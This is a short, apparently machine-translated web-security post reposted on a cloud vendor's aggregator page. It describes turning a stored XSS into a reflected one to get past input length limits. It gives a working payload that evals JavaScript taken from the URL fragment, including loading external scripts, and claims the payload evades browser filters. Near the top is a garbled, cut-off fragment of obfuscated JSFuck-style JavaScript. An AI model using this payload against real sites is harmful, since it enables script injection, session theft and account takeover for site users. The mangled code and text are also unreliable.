Change stored XSS to reflected XSS to break through the length limit

Source: Internet
Author: User

Change the stored XSS to a reflected XSS. Break through the length limit LaiX ([] [(! [] + []) [+ [+ [] + ([] [] + []) [+ [[! + [] +! + [] +! + [] +! + [] +! + [] + (! [] + []) [+ [[! + [] +! + [] + (!! [] + []) [+ [+ [] + (!! [] + []) [+ [[! + [] +! + [] +! + [] + (!! [] + []) [+ [+! + [] [([] [(! [] + []) [+ [+ [] + ([] [] + []) [+ [[! + [] +! + [] +! + [] +! + [] +! + [] + (! [] + []) [+ [[! + [] +! + [] +) | What if we encounter a length limit? Is it true that you cannot use it and give up? In fact, we can exert infinite power to the limited space. Recently, I have studied the idea of converting a stored XSS into a reflected XSS. However, you must enter at least 46 characters. The Code is as follows: <svg/onload = eval (location. hash. split ('#') [1])> Insert the above code into a place where at least 46 characters can be entered and then access the http://example.com/#alert (); or http://example.com/# (loading an external JS) can execute the infinite length JS Code, the disadvantage is to become a reflection type, the good news is compatible with all browsers, will not be killed by the Filter of the browser. If you have a shorter posture, please share the discussion.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.